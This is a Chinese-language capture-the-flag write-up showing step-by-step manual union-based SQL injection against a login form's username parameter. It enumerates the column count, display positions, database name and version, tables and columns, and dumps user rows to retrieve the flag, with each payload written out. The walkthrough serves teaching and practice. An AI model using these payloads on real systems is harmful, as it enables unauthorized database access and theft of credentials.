0x01 万能密码
首先尝试万能密码


并没有什么有用的信息
0x02 获得列数
那么开始爆库,已经提示sqlmap是没有灵魂的,还是手动注入吧
注意:在URL中#需要替换成%23
,直接在地址栏输入#无法正常返回结果
构造payload
?username=1' order by 4%23&password=1

列数为4
0x03 判断显位点
?username=1' union select 1,2,3%23&password=1

显位点为2, 3
0x04 获得库名
?username=1' union select 1,database(),version()%23&password=1

数据库名为geek,版本为10.3.18-MariaDB
0x05 获得表名
?username=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23&password=1

表名有 geekuser 和 l0ve1ysq1
0x06 获得列名
?username=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'%23&password=1

geekuser内列名有id,username,password
0x07 获得字段
?username=-1' union select 1,2,group_concat(id, username, password) from geekuser%23&password=1

geekuser内没有什么有用的数据,看看l0ve1ysq1
l0ve1ysq1的列名和geekuser相同
?username=-1' union select 1,2,group_concat(id, username, password) from l0ve1ysq1%23&password=1

获得flag